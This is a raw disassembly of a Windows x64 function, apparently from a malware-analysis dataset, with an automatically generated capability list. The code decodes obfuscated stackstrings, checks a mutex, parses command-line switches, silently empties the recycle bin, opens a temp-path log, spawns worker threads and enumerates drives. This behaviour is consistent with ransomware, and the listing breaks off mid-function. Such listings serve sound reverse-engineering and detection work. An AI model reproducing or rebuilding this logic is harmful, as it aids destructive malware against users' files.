Function at 0x14002d8d0
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Create thread
Empty recycle bin quietly
Empty the recycle bin
Encode data using base64
Get common file path
Get disk information
Get system information on windows
Parse pe header
Terminate process

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xc88]
sub rsp, 0xd60
mov qword [rbp + 0x370], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x140050008]
xor rax, rsp
mov qword [rbp + 0xc50], rax
mov byte [rbp + 0x40], 0
mov byte [rbp + 0x41], 0x53
mov byte [rbp + 0x42], 0x16
mov byte [rbp + 0x43], 0x60
mov byte [rbp + 0x44], 0x72
mov byte [rbp + 0x45], 0x2f
mov byte [rbp + 0x46], 0x16
mov byte [rbp + 0x47], 0x5d
mov byte [rbp + 0x48], 0x45
mov byte [rbp + 0x49], 0x6f
mov byte [rbp + 0x4a], 0x2c
mov byte [rbp + 0x4b], 0x41
mov byte [rbp + 0x4c], 0x5a
mov byte [rbp + 0x4d], 5
mov byte [rbp + 0x4e], 2
mov byte [rbp + 0x4f], 0x6f
mov byte [rbp + 0x50], 0x68
mov byte [rbp + 0x51], 2
mov byte [rbp + 0x52], 0x42
mov byte [rbp + 0x53], 0x4f
mov byte [rbp + 0x54], 0x10
mov byte [rbp + 0x55], 0x10
mov byte [rbp + 0x56], 0x10
mov byte [rbp + 0x57], 0x10
mov byte [rbp + 0x58], 0x19
movzx eax, byte [rbp + 0x41]
movzx eax, byte [rbp + 0x40]
xor ebx, ebx
test al, al
jne 0x14002d9e4
mov r8d, ebx
nop word [rax + rax]
movzx ecx, byte [rbp + r8 + 0x41]
mov eax, 0x19
sub eax, ecx
lea ecx, [rax + rax*8]
shl ecx, 2
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
add ecx, 0x7f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + r8 + 0x41], cl
inc r8
cmp r8, 0x18
jb 0x14002d990
lea r8, [rbp + 0x41]
xor edx, edx
mov ecx, 0x1f0001
call qword [sym.imp.KERNEL32.dll_OpenMutexA]
test rax, rax
jne 0x14002fe38
mov byte [rbp + 0x20], bl
mov byte [rbp + 0x21], 0x4f
mov byte [rbp + 0x22], 0x54
mov byte [rbp + 0x23], 0x69
mov byte [rbp + 0x24], 0xe
mov byte [rbp + 0x25], 7
mov byte [rbp + 0x26], 0x54
mov byte [rbp + 0x27], 0x63
mov byte [rbp + 0x28], 0x33
mov byte [rbp + 0x29], 8
mov byte [rbp + 0x2a], 1
mov byte [rbp + 0x2b], 0x2b
mov byte [rbp + 0x2c], 0x5d
mov byte [rbp + 0x2d], 0x32
mov byte [rbp + 0x2e], 0x2c
mov byte [rbp + 0x2f], 8
mov byte [rbp + 0x30], 0x79
mov byte [rbp + 0x31], 0x2c
mov byte [rbp + 0x32], 0x2d
mov byte [rbp + 0x33], 0x47
mov byte [rbp + 0x34], 0x48
mov byte [rbp + 0x35], 0x48
mov byte [rbp + 0x36], 0x48
mov byte [rbp + 0x37], 0x48
mov byte [rbp + 0x38], 0x5a
movzx eax, byte [rbp + 0x21]
movzx eax, byte [rbp + 0x20]
test al, al
jne 0x14002dac3
mov r8, rbx
movzx ecx, byte [rbp + r8 + 0x21]
mov eax, 0x5a
sub eax, ecx
lea ecx, [rax + rax*8]
add ecx, ecx
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
add ecx, 0x7f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + r8 + 0x21], cl
inc r8
cmp r8, 0x18
jb 0x14002da70
lea r8, [rbp + 0x21]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [0x140051d40], rax
mov dword [rbp + 0x3e4], ebx
mov rdi, rbx
mov r12, rbx
mov r14, rbx
mov dword [rsp + 0x40], ebx
mov r15d, ebx
mov dword [0x140051d38], ebx
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp + 0x3e4]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ecx, dword [rbp + 0x3e4]
cmp ecx, 1
jne 0x14002dc0b
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 7]
call qword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
mov byte [rbp - 0x58], bl
mov byte [rbp - 0x57], 0x23
mov byte [rbp - 0x56], 0xf
mov byte [rbp - 0x55], 0x41
mov byte [rbp - 0x54], 0xf
mov byte [rbp - 0x53], 0x79
mov byte [rbp - 0x52], 0xf
mov byte [rbp - 0x51], 0x79
mov byte [rbp - 0x50], 0xf
mov byte [rbp - 0x4f], 0x79
mov byte [rbp - 0x4e], 0xf
mov byte [rbp - 0x4d], 0x79
mov byte [rbp - 0x4c], 0xf
mov byte [rbp - 0x4b], 0xd
mov byte [rbp - 0x4a], 0xf
mov byte [rbp - 0x49], 0x4d
mov byte [rbp - 0x48], 0xf
mov byte [rbp - 0x47], 0x42
mov byte [rbp - 0x46], 0xf
mov byte [rbp - 0x45], 0x15
mov byte [rbp - 0x44], 0xf
mov byte [rbp - 0x43], 0xf
mov byte [rbp - 0x42], 0xf
movzx eax, byte [rbp - 0x57]
movzx eax, byte [rbp - 0x58]
test al, al
jne 0x14002dbef
nop
movzx ecx, byte [rbp + rbx - 0x57]
mov eax, 0xf
sub eax, ecx
imul ecx, eax, 0x17
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
add ecx, 0x7f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + rbx - 0x57], cl
inc rbx
cmp rbx, 0x16
jb 0x14002dba0
lea rcx, [rbp - 0x57]
call fcn.140011bf0
call fcn.140001950
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov r13d, 1
cmp ecx, r13d
jle 0x14002fe2f
lea rsi, [rax + 8]
nop
mov byte [rsp + 0x78], bl
mov byte [rsp + 0x79], 2
mov byte [rsp + 0x7a], 0x5e
mov byte [rsp + 0x7b], 2
mov byte [rsp + 0x7c], 0x5e
mov byte [rsp + 0x7d], 0x28
mov byte [rsp + 0x7e], 0x5e
mov byte [rsp + 0x7f], 0x71
mov byte [rbp - 0x80], 0x5e
mov byte [rbp - 0x7f], 0x1d
mov byte [rbp - 0x7e], 0x5e
mov byte [rbp - 0x7d], 0x3e
mov byte [rbp - 0x7c], 0x5e
mov byte [rbp - 0x7b], bl
mov byte [rbp - 0x7a], 0x5e
mov byte [rbp - 0x79], 0x55
mov byte [rbp - 0x78], 0x5e
mov byte [rbp - 0x77], 0x5e
mov byte [rbp - 0x76], 0x5e
movzx eax, byte [rsp + 0x79]
movzx eax, byte [rsp + 0x78]
test al, al
jne 0x14002dce1
mov r8, rbx
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [rsp + r8 + 0x79]
mov eax, 0x5e
sub eax, ecx
imul ecx, eax, 0x23
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
add ecx, 0x7f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + r8 + 0x79], cl
inc r8
cmp r8, 0x12
jb 0x14002dc90
mov r8d, 8
lea rdx, [rsp + 0x79]
mov rcx, qword [rsi]
call fcn.1400374c4
test eax, eax
jne 0x14002dd04
mov rdi, qword [rsi]
add rdi, 0x10
jmp 0x14002e13f
mov byte [rbp - 0x70], bl
mov byte [rbp - 0x6f], 0x50
mov byte [rbp - 0x6e], 0x75
mov byte [rbp - 0x6d], 0x50
mov byte [rbp - 0x6c], 0x75
mov byte [rbp - 0x6b], 0x5d
mov byte [rbp - 0x6a], 0x75
mov byte [rbp - 0x69], 0x47
mov byte [rbp - 0x68], 0x75
mov byte [rbp - 0x67], 0x39
mov byte [rbp - 0x66], 0x75
mov byte [rbp - 0x65], 0x5b
mov byte [rbp - 0x64], 0x75
mov byte [rbp - 0x63], 0x41
mov byte [rbp - 0x62], 0x75
mov byte [rbp - 0x61], 0x5d
mov byte [rbp - 0x60], 0x75
mov byte [rbp - 0x5f], 0x70
mov byte [rbp - 0x5e], 0x75
mov byte [rbp - 0x5d], 0x75
mov byte [rbp - 0x5c], 0x75
movzx eax, byte [rbp - 0x6f]
movzx eax, byte [rbp - 0x70]
test al, al
jne 0x14002ddc1
mov r8, rbx
nop word [rax + rax]
movzx ecx, byte [rbp + r8 - 0x6f]
mov eax, 0x75
sub eax, ecx
imul ecx, eax, 0x3f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
add ecx, 0x7f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + r8 - 0x6f], cl
inc r8
cmp r8, 0x14
jb 0x14002dd70
mov r8d, 9
lea rdx, [rbp - 0x6f]
mov rcx, qword [rsi]
call fcn.1400374c4
test eax, eax
jne 0x14002dde3
mov r12, qword [rsi]
add r12, 0x12
jmp 0x14002e13f
mov byte [rbp - 0x40], bl
mov byte [rbp - 0x3f], 0x64
mov byte [rbp - 0x3e], bl
mov byte [rbp - 0x3d], 0x64
mov byte [rbp - 0x3c], bl
mov byte [rbp - 0x3b], 0x20
mov byte [rbp - 0x3a], bl
mov byte [rbp - 0x39], 0x5a
mov byte [rbp - 0x38], bl
mov byte [rbp - 0x37], 0x54
mov byte [rbp - 0x36], bl
mov byte [rbp - 0x35], 0x29
mov byte [rbp - 0x34], bl
mov byte [rbp - 0x33], 0x12
mov byte [rbp - 0x32], bl
mov byte [rbp - 0x31], 0x43
mov byte [rbp - 0x30], bl
mov byte [rbp - 0x2f], 0x3a
mov byte [rbp - 0x2e], bl
mov byte [rbp - 0x2d], 0x41
mov byte [rbp - 0x2c], bl
mov byte [rbp - 0x2b], bl
mov byte [rbp - 0x2a], bl
movzx eax, byte [rbp - 0x3f]
movzx eax, byte [rbp - 0x40]
test al, al
jne 0x14002de93
mov r9, rbx
movzx eax, byte [rbp + r9 - 0x3f]
imul r8d, eax, 0xffffffd4
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
add r8d, 0x7f
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rbp + r9 - 0x3f], r8b
inc r9
cmp r9, 0x16
jb 0x14002de41
mov r8d, 0xa
lea rdx, [rbp - 0x3f]
mov rcx, qword [rsi]
call fcn.1400374c4
test eax, eax
jne 0x14002deb5
mov r14, qword [rsi]
add r14, 0x14
jmp 0x14002e13f
mov byte [rbp - 0x28], bl
mov byte [rbp - 0x27], 0x28
mov byte [rbp - 0x26], 0x25
mov byte [rbp - 0x25], 0x28
mov byte [rbp - 0x24], 0x25
mov byte [rbp - 0x23], 0x24
mov byte [rbp - 0x22], 0x25
mov byte [rbp - 0x21], 0x67
mov byte [rbp - 0x20], 0x25
mov byte [rbp - 0x1f], 0x46
mov byte [rbp - 0x1e], 0x25
mov byte [rbp - 0x1d], 0x45
mov byte [rbp - 0x1c], 0x25
mov byte [rbp - 0x1b], 0x67
mov byte [rbp - 0x1a], 0x25
mov byte [rbp - 0x19], 2
mov byte [rbp - 0x18], 0x25
mov byte [rbp - 0x17], 0x68
mov byte [rbp - 0x16], 0x25
mov byte [rbp - 0x15], 0x3a
mov byte [rbp - 0x14], 0x25
mov byte [rbp - 0x13], 0x25
mov byte [rbp - 0x12], 0x25
movzx eax, byte [rbp - 0x27]
movzx eax, byte [rbp - 0x28]
test al, al
jne 0x14002df75
mov r9, rbx
nop
movzx ecx, byte [rbp + r9 - 0x27]
sub ecx, 0x25
imul r8d, ecx, 0xf
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
add r8d, 0x7f
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rbp + r9 - 0x27], r8b
inc r9
cmp r9, 0x16
jb 0x14002df20
mov r8d, 0xa
lea rdx, [rbp - 0x27]
mov rcx, qword [rsi]
call fcn.1400374c4
test eax, eax
jne 0x14002dfa5
mov rcx, qword [rsi]
add rcx, 0x14
call fcn.140037498
and eax, 0x1f
mov dword [0x140051d38], eax
jmp 0x14002e13f
mov byte [rsp + 0x48], bl
mov byte [rsp + 0x49], 0x11
mov byte [rsp + 0x4a], 0x12
mov byte [rsp + 0x4b], 0x29
mov byte [rsp + 0x4c], 0x12
mov byte [rsp + 0x4d], 0x18
mov byte [rsp + 0x4e], 0x12
mov byte [rsp + 0x4f], 0x1b
mov byte [rsp + 0x50], 0x12
mov byte [rsp + 0x51], 0x12
mov byte [rsp + 0x52], 0x12
movzx eax, byte [rsp + 0x49]
movzx eax, byte [rsp + 0x48]
test al, al
jne 0x14002e041
mov r8, rbx
nop dword [rax]
movzx ecx, byte [rsp + r8 + 0x49]
mov eax, 0x12
sub eax, ecx
imul ecx, eax, 0x2d
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
add ecx, 0x7f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + r8 + 0x49], cl
inc r8
cmp r8, 0xa
jb 0x14002dff0
mov rax, qword [rsi]
lea r8, [rsp + 0x49]
sub r8, rax
nop dword [rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x14002e064
add rax, 2
test ecx, ecx
jne 0x14002e050
test edx, edx
jne 0x14002e076
mov eax, 1
mov dword [rsp + 0x40], eax
jmp 0x14002e143
mov byte [rsp + 0x58], bl
mov byte [rsp + 0x59], 0x24
mov byte [rsp + 0x5a], 0x6f
mov byte [rsp + 0x5b], 0x22
mov byte [rsp + 0x5c], 0x6f
mov byte [rsp + 0x5d], 0x3a
mov byte [rsp + 0x5e], 0x6f
mov byte [rsp + 0x5f], 0x3a
mov byte [rsp + 0x60], 0x6f
mov byte [rsp + 0x61], 0x6f
mov byte [rsp + 0x62], 0x6f
movzx eax, byte [rsp + 0x59]
movzx eax, byte [rsp + 0x58]
test al, al
jne 0x14002e111
mov r8, rbx
nop dword [rax]
movzx ecx, byte [rsp + r8 + 0x59]
mov eax, 0x6f
sub eax, ecx
imul ecx, eax, 0x1a
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
add ecx, 0x7f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + r8 + 0x59], cl
inc r8
cmp r8, 0xa
jb 0x14002e0c0
mov rax, qword [rsi]
lea r8, [rsp + 0x59]
sub r8, rax
nop dword [rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x14002e134
add rax, 2
test ecx, ecx
jne 0x14002e120
test edx, edx
mov eax, 1
cmove r15d, eax
mov eax, dword [rsp + 0x40]
inc r13d
add rsi, 8
cmp r13d, dword [rbp + 0x3e4]
jl 0x14002dc20
test r15d, r15d
jne 0x14002e16a
test rdi, rdi
jne 0x14002e16a
test r12, r12
je 0x14002fe2f
test eax, eax
je 0x14002e2be
xor edx, edx
mov r8d, 0x800
lea rcx, [rbp + 0x450]
call fcn.1400341f0
lea rdx, [rbp + 0x450]
mov ecx, 0x3ff
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
mov byte [rbp - 0x10], bl
mov byte [rbp - 0xf], 0x23
mov byte [rbp - 0xe], 0x6a
mov byte [rbp - 0xd], 0x77
mov byte [rbp - 0xc], 0x6a
mov byte [rbp - 0xb], 0x62
mov byte [rbp - 0xa], 0x6a
mov byte [rbp - 9], 0x62
mov byte [rbp - 8], 0x6a
mov byte [rbp - 7], 0x62
mov byte [rbp - 6], 0x6a
mov byte [rbp - 5], 0x62
mov byte [rbp - 4], 0x6a
mov byte [rbp - 3], 0x4b
mov byte [rbp - 2], 0x6a
mov byte [rbp - 1], 0x69
mov byte [rbp], 0x6a
mov byte [rbp + 1], 0x2d
mov byte [rbp + 2], 0x6a
mov byte [rbp + 3], 0x4e
mov byte [rbp + 4], 0x6a
mov byte [rbp + 5], 0x6a
mov byte [rbp + 6], 0x6a
movzx eax, byte [rbp - 0xf]
movzx eax, byte [rbp - 0x10]
test al, al
jne 0x14002e257
mov r9, rbx
movzx ecx, byte [rbp + r9 - 0xf]
sub ecx, 0x6a
imul r8d, ecx, 0x13
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
add r8d, 0x7f
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rbp + r9 - 0xf], r8b
inc r9
cmp r9, 0x16
jb 0x14002e202
lea rdx, [rbp - 0xf]
lea rcx, [rbp + 0x450]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rcx, [0x140051d10]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80000000
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 1]
lea rcx, [rbp + 0x450]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x140050900], rax
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
test r14, r14
je 0x14002e2cf
mov rcx, r14
call fcn.140037498
mov esi, eax
jmp 0x14002e2e5
lea rcx, [rbp + 0x418]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rbp + 0x438]
lea esi, [rax + rax]
mov dword [rbp + 0x2e0], esi
lea edx, [rsi + rsi]
call fcn.140031030
lea rcx, [rbp + 0x408]
call fcn.14002a600
test eax, eax
jne 0x14002e685
mov byte [rbp + 0x1f0], bl
mov byte [rbp + 0x1f1], 0x59
mov byte [rbp + 0x1f2], 0x2d
mov byte [rbp + 0x1f3], 0x43
mov byte [rbp + 0x1f4], 0x2d
mov byte [rbp + 0x1f5], 0x31
mov byte [rbp + 0x1f6], 0x2d
mov byte [rbp + 0x1f7], 0x76
mov byte [rbp + 0x1f8], 0x2d
mov byte [rbp + 0x1f9], 0x46
mov byte [rbp + 0x1fa], 0x2d
mov byte [rbp + 0x1fb], 0x1e
mov byte [rbp + 0x1fc], 0x2d
mov byte [rbp + 0x1fd], 0x5f
mov byte [rbp + 0x1fe], 0x2d
mov byte [rbp + 0x1ff], 0x31
mov byte [rbp + 0x200], 0x2d
mov byte [rbp + 0x201], 0x5f
mov byte [rbp + 0x202], 0x2d
mov byte [rbp + 0x203], 0x46
mov byte [rbp + 0x204], 0x2d
mov byte [rbp + 0x205], 0x5f
mov byte [rbp + 0x206], 0x2d
mov byte [rbp + 0x207], 0x43
mov byte [rbp + 0x208], 0x2d
mov byte [rbp + 0x209], 0x2a
mov byte [rbp + 0x20a], 0x2d
mov byte [rbp + 0x20b], 0x5f
mov byte [rbp + 0x20c], 0x2d
mov byte [rbp + 0x20d], 0x5b
mov byte [rbp + 0x20e], 0x2d
mov byte [rbp + 0x20f], 0x51
mov byte [rbp + 0x210], 0x2d
mov byte [rbp + 0x211], 0x1e
mov byte [rbp + 0x212], 0x2d
mov byte [rbp + 0x213], 0x59
mov byte [rbp + 0x214], 0x2d
mov byte [rbp + 0x215], 0x3f
mov byte [rbp + 0x216], 0x2d
mov byte [rbp + 0x217], 0x18
mov byte [rbp + 0x218], 0x2d
mov byte [rbp + 0x219], 0x38
mov byte [rbp + 0x21a], 0x2d
mov byte [rbp + 0x21b], 0x46
mov byte [rbp + 0x21c], 0x2d
mov byte [rbp + 0x21d], 0x74
mov byte [rbp + 0x21e], 0x2d
mov byte [rbp + 0x21f], 0x1e
mov byte [rbp + 0x220], 0x2d
mov byte [rbp + 0x221], 0x38
mov byte [rbp + 0x222], 0x2d
mov byte [rbp + 0x223], 0x3f
mov byte [rbp + 0x224], 0x2d
mov byte [rbp + 0x225], 0x74
mov byte [rbp + 0x226], 0x2d
mov byte [rbp + 0x227], 0x4d
mov byte [rbp + 0x228], 0x2d
mov byte [rbp + 0x229], 0x5f
mov byte [rbp + 0x22a], 0x2d
mov byte [rbp + 0x22b], 0xe
mov byte [rbp + 0x22c], 0x2d
mov byte [rbp + 0x22d], 0x51
mov byte [rbp + 0x22e], 0x2d
mov byte [rbp + 0x22f], 0x3f
mov byte [rbp + 0x230], 0x2d
mov byte [rbp + 0x231], 0x4f
mov byte [rbp + 0x232], 0x2d
mov byte [rbp + 0x233], 0x1e
mov byte [rbp + 0x234], 0x2d
mov byte [rbp + 0x235], 0x67
mov byte [rbp + 0x236], 0x2d
mov byte [rbp + 0x237], 0x51
mov byte [rbp + 0x238], 0x2d
mov byte [rbp + 0x239], 0x46
mov byte [rbp + 0x23a], 0x2d
mov byte [rbp + 0x23b], 0x39
mov byte [rbp + 0x23c], 0x2d
mov byte [rbp + 0x23d], 0x43
mov byte [rbp + 0x23e], 0x2d
mov byte [rbp + 0x23f], 3
mov byte [rbp + 0x240], 0x2d
mov byte [rbp + 0x241], 0x46
mov byte [rbp + 0x242], 0x2d
mov byte [rbp + 0x243], 0x60
mov byte [rbp + 0x244], 0x2d
mov byte [rbp + 0x245], 0x3f
mov byte [rbp + 0x246], 0x2d
mov byte [rbp + 0x247], 0x3f
mov byte [rbp + 0x248], 0x2d
mov byte [rbp + 0x249], 0x74
mov byte [rbp + 0x24a], 0x2d
mov byte [rbp + 0x24b], 0x3f
mov byte [rbp + 0x24c], 0x2d
mov byte [rbp + 0x24d], 0x1e
mov byte [rbp + 0x24e], 0x2d
mov byte [rbp + 0x24f], 0x44
mov byte [rbp + 0x250], 0x2d
mov byte [rbp + 0x251], 0x1e
mov byte [rbp + 0x252], 0x2d
mov byte [rbp + 0x253], 0x6f
mov byte [rbp + 0x254], 0x2d
mov byte [rbp + 0x255], 0x2a
mov byte [rbp + 0x256], 0x2d
mov byte [rbp + 0x257], 0xa
mov byte [rbp + 0x258], 0x2d
mov byte [rbp + 0x259], 0x2d
mov byte [rbp + 0x25a], 0x2d
movzx eax, byte [rbp + 0x1f1]
movzx eax, byte [rbp + 0x1f0]
test al, al
jne 0x14002e668
nop word [rax + rax]
movzx ecx, byte [rbp + rbx + 0x1f1]
mov eax, 0x2d
sub eax, ecx
lea ecx, [rax + rax*8]
shl ecx, 2
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
add ecx, 0x7f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + rbx + 0x1f1], cl
inc rbx
cmp rbx, 0x6a
jb 0x14002e610
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rbp + 0x1f1]
call fcn.14002abc0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov r14d, esi
lea rsi, [r14*8 + 0x40]
mov r8, rsi
mov edx, 8
mov rcx, qword [0x140051d40]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r13, rax
mov qword [rbp + 0x2e8], rax
test rax, rax
je 0x14002e690
mov dword [rsp + 0x40], ebx
lea r8, [r14*8]
movsxd rcx, dword [rsp + 0x40]
cmp rcx, r8
jae 0x14002e6e7
nop word [rax + rax]
movsxd rcx, dword [rsp + 0x40]
mov byte [rcx + r13], bl
inc dword [rsp + 0x40]
movsxd rax, dword [rsp + 0x40]
cmp rax, r8
jb 0x14002e6d0
cmp dword [rbp + 0x2e0], ebx
jbe 0x14002e73d
mov rsi, r13
mov r13d, 1
nop dword [rax + rax]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
lea r9, [rbp + 0x408]
lea r8, [0x14002d3c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsi], rax
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsi, 8
sub r14, r13
jne 0x14002e700
mov r13, qword [rbp + 0x2e8]
test r15d, r15d
je 0x14002eeef
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, eax
test eax, eax
je 0x14002fc66
shr esi, 2
mov ecx, 0x43
mov word [rbp + 0x3e0], cx
movabs r15, 0x7fffffffffffffff
nop
test sil, 1
je 0x14002ee98
mov qword [rbp + 0x328], 7
mov qword [rbp + 0x320], rbx
mov word [rbp + 0x310], bx
mov r8d, 1
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x310]
call fcn.14002ffc0
nop
lea r8, [0x14004c054]
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x3e8]
call fcn.1400305d0
nop
mov rax, qword [rbp + 0x328]
cmp rax, 8
jb 0x14002e828
inc rax
mov rcx, qword [rbp + 0x310]
cmp rax, r15
ja 0x14002eecb
add rax, rax
cmp rax, 0x1000
jb 0x14002e823
test cl, 0x1f
jne 0x14002eec5
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x14002eebf
sub rcx, rax
cmp rcx, 8
jb 0x14002eeb9
cmp rcx, 0x27
ja 0x14002eeb3
mov rcx, rax
call fcn.140031a5c
mov qword [rbp + 0x328], 7
mov qword [rbp + 0x320], rbx
mov word [rbp + 0x310], bx
lea rcx, [rbp + 0x3e8]
cmp qword [rbp + 0x400], 8
cmovae rcx, qword [rbp + 0x3e8]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov r10d, eax
lea ecx, [rax - 3]
cmp ecx, 1
ja 0x14002ee24
mov byte [rbp + 0xd0], 0
mov byte [rbp + 0xd1], 0xb
mov byte [rbp + 0xd2], 0x31
mov byte [rbp + 0xd3], 0x33
mov byte [rbp + 0xd4], 0x31
mov byte [rbp + 0xd5], 0x7d
mov byte [rbp + 0xd6], 0x31
mov byte [rbp + 0xd7], 0x43
mov byte [rbp + 0xd8], 0x31
mov byte [rbp + 0xd9], 0x3a
mov byte [rbp + 0xda], 0x31
mov byte [rbp + 0xdb], 0x4a
mov byte [rbp + 0xdc], 0x31
mov byte [rbp + 0xdd], 0x33
mov byte [rbp + 0xde], 0x31
mov byte [rbp + 0xdf], 7
mov byte [rbp + 0xe0], 0x31
mov byte [rbp + 0xe1], 0x69
mov byte [rbp + 0xe2], 0x31
mov byte [rbp + 0xe3], 0x4a
mov byte [rbp + 0xe4], 0x31
mov byte [rbp + 0xe5], 0x33
mov byte [rbp + 0xe6], 0x31
mov byte [rbp + 0xe7], 0x7d
mov byte [rbp + 0xe8], 0x31
mov byte [rbp + 0xe9], 0x15
mov byte [rbp + 0xea], 0x31
mov byte [rbp + 0xeb], 0x69
mov byte [rbp + 0xec], 0x31
mov byte [rbp + 0xed], 0x61
mov byte [rbp + 0xee], 0x31
mov byte [rbp + 0xef], 0x3a
mov byte [rbp + 0xf0], 0x31
mov byte [rbp + 0xf1], 0x4a
mov byte [rbp + 0xf2], 0x31
mov byte [rbp + 0xf3], 0x41
mov byte [rbp + 0xf4], 0x31
mov byte [rbp + 0xf5], 0x43
mov byte [rbp + 0xf6], 0x31
mov byte [rbp + 0xf7], 0x69
mov byte [rbp + 0xf8], 0x31
mov byte [rbp + 0xf9], 0x52
mov byte [rbp + 0xfa], 0x31
mov byte [rbp + 0xfb], 0
mov byte [rbp + 0xfc], 0x31
mov byte [rbp + 0xfd], 0x57
mov byte [rbp + 0xfe], 0x31
mov byte [rbp + 0xff], 0x7e
mov byte [rbp + 0x100], 0x31
mov byte [rbp + 0x101], 0x69
mov byte [rbp + 0x102], 0x31
mov byte [rbp + 0x103], 0x7d
mov byte [rbp + 0x104], 0x31
mov byte [rbp + 0x105], 0x66
